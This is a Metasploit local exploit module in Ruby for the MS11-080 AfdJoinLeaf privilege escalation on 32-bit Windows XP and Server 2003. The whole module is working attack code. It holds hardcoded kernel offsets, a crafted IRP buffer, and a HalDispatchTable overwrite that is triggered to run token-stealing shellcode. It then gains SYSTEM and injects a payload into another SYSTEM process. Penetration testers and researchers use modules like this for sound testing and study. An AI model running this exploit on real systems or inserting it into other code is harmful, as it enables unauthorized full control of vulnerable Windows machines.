##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking
  # Average because this module relies on memory corruption within the
  # kernel, this is inherently dangerous.  Also if the payload casues
  # the system process that it was injected into to die then it's also
  # possible that the system may become unstable.

  include Msf::Exploit::Local::WindowsKernel
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
          'Description' => %q{
            This module exploits a flaw in the AfdJoinLeaf function of the
            afd.sys driver to overwrite data in kernel space.  An address
            within the HalDispatchTable is overwritten and when triggered
            with a call to NtQueryIntervalProfile will execute shellcode.

            This module will elevate itself to SYSTEM, then inject the payload
            into another SYSTEM process before restoring its own token to
            avoid causing system instability.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Matteo Memelli', # original exploit and all the hard work
            'Spencer McIntyre' # MSF module
          ],
          'Arch' => [ARCH_X86],
          'Platform' => ['win'],
          'SessionTypes' => ['meterpreter'],
          'DefaultOptions' => {
            'EXITFUNC' => 'thread'
          },
          'Targets' => [
            ['Automatic', {}],
            [
              'Windows XP SP2 / SP3',
              {
                'HaliQuerySystemInfo' => 0x16bba,
                'HalpSetSystemInformation' => 0x19436,
                '_KPROCESS' => "\x44",
                '_TOKEN' => "\xc8",
                '_UPID' => "\x84",
                '_APLINKS' => "\x88"
              }
            ],
            [
              'Windows Server 2003 SP2',
              {
                'HaliQuerySystemInfo' => 0x1fa1e,
                'HalpSetSystemInformation' => 0x21c60,
                '_KPROCESS' => "\x38",
                '_TOKEN' => "\xd8",
                '_UPID' => "\x94",
                '_APLINKS' => "\x98"
              }
            ]
          ],
          'References' => [
            %w[CVE 2011-2005],
            %w[OSVDB 76232],
            %w[EDB 18176],
            %w[MSB MS11-080],
            %w[URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/]
          ],
          'DisclosureDate' => '2011-11-30',
          'DefaultTarget' => 0,
          'Notes' => {
            'Stability' => [
              CRASH_OS_RESTARTS
            ],
            'Reliability' => [],
            'SideEffects' => [
              IOC_IN_LOGS,
              ARTIFACTS_ON_DISK
            ]
          },
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_railgun_api
                stdapi_sys_process_attach
                stdapi_sys_process_getpid
                stdapi_sys_process_memory_protect
                stdapi_sys_process_memory_write
              ]
            }
          }
        }
      )
    )
  end

  # Function borrowed from smart_hashdump
  def get_system_proc
    # Make sure you got the correct SYSTEM Account Name no matter the OS Language
    local_sys = resolve_sid('S-1-5-18')
    system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"

    # Processes that can Blue Screen a host if migrated in to
    dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
    session.sys.process.processes.each do |p|
      # Check we are not migrating to a process that can BSOD the host
      next if dangerous_processes.include?(p['name'])
      next if p['pid'] == session.sys.process.getpid
      next if p['pid'] == 4
      next if p['user'] != system_account_name

      return p
    end
  end

  def exploit
    if sysinfo['Architecture'] == ARCH_X64
      fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
    end

    mytarget = target
    if mytarget.name =~ /Automatic/
      version = get_version_info
      mytarget = targets[1] if version.build_number.between?(Msf::WindowsVersion::XP_SP2, Msf::WindowsVersion::XP_SP3)
      mytarget = targets[2] if version.build_number == Msf::WindowsVersion::Server2003_SP2

      if mytarget.name =~ /Automatic/
        print_error('Could not identify the target system, it may not be supported')
        return
      end
      print_status("Running against #{mytarget.name}")
    end

    if is_system?
      print_error('This meterpreter session is already running as SYSTEM')
      return
    end

    this_proc = session.sys.process.open
    base_addr = 0x1001

    result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0)
    socket = result['return']

    irpstuff = rand_text_alpha(8)
    irpstuff << "\x00\x00\x00\x00"
    irpstuff << rand_text_alpha(4)
    irpstuff << "\x01\x00\x00\x00"
    irpstuff << "\xe8\x00\x34\xf0\x00"
    irpstuff << rand_text_alpha(231)

    unless this_proc.memory.writable?(0x1000)
      session.railgun.ntdll.NtAllocateVirtualMemory(-1, [base_addr].pack('V'), nil, [0x1000].pack('V'), 'MEM_COMMIT | MEM_RESERVE', 'PAGE_EXECUTE_READWRITE')
    end
    unless this_proc.memory.writable?(0x1000)
      print_error('Failed to properly allocate memory')
      return
    end
    this_proc.memory.write(0x1000, irpstuff)

    haldispatchtable = find_haldispatchtable
    return if haldispatchtable.nil?

    halbase = find_sys_base('hal.dll')[0]
    hal_iquerysysteminformation = halbase + mytarget['HaliQuerySystemInfo']
    hal_psetsysteminformation = halbase + mytarget['HalpSetSystemInformation']
    print_status("HaliQuerySystemInformation Address: 0x#{hal_iquerysysteminformation.to_s(16).rjust(8, '0')}")
    print_status("HalpSetSystemInformation Address: 0x#{hal_psetsysteminformation.to_s(16).rjust(8, '0')}")

    #### Exploitation ####
    shellcode_address_dep = 0x0002071e
    shellcode_address_nodep = 0x000207b8
    padding = make_nops(2)
    backup_token = 0x20900

    restore_ptrs = "\x31\xc0"
    restore_ptrs << "\xb8" + [hal_psetsysteminformation].pack('V')
    restore_ptrs << "\xa3" + [haldispatchtable + 8].pack('V')
    restore_ptrs << "\xb8" + [hal_iquerysysteminformation].pack('V')
    restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V')

    restore_token = "\x52"
    restore_token << "\x33\xc0"
    restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
    restore_token << "\x8b\x40" + mytarget['_KPROCESS']
    restore_token << "\x8b\x15" + [backup_token].pack('V')
    restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
    restore_token << "\x5a"
    restore_token << "\xc2\x10"

    shellcode = padding + restore_ptrs + token_stealing_shellcode(mytarget, backup_token)

    this_proc.memory.write(shellcode_address_dep, shellcode)
    this_proc.memory.write(shellcode_address_nodep, shellcode)
    this_proc.memory.protect(0x00020000)

    addr = [2, 4455, 0x7f000001, 0, 0].pack('vvVVV')
    result = session.railgun.ws2_32.connect(socket, addr, addr.length)
    if result['return'] != 0xffffffff
      print_error('The socket is not in the correct state')
      return
    end

    print_status('Triggering AFDJoinLeaf pointer overwrite...')
    session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
    session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

    unless is_system?
      print_error('Exploit failed')
      return
    end

    proc = get_system_proc
    print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
    unless execute_shellcode(payload.encoded, nil, proc['pid'])
      print_error('An error occurred while executing the payload')
    end

    # Restore the token because apparently BSODs are frowned upon
    print_status('Restoring the original token...')
    shellcode = padding + restore_ptrs + restore_token
    this_proc.memory.write(shellcode_address_dep, shellcode)
    this_proc.memory.write(shellcode_address_nodep, shellcode)

    session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
    session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
  end
end
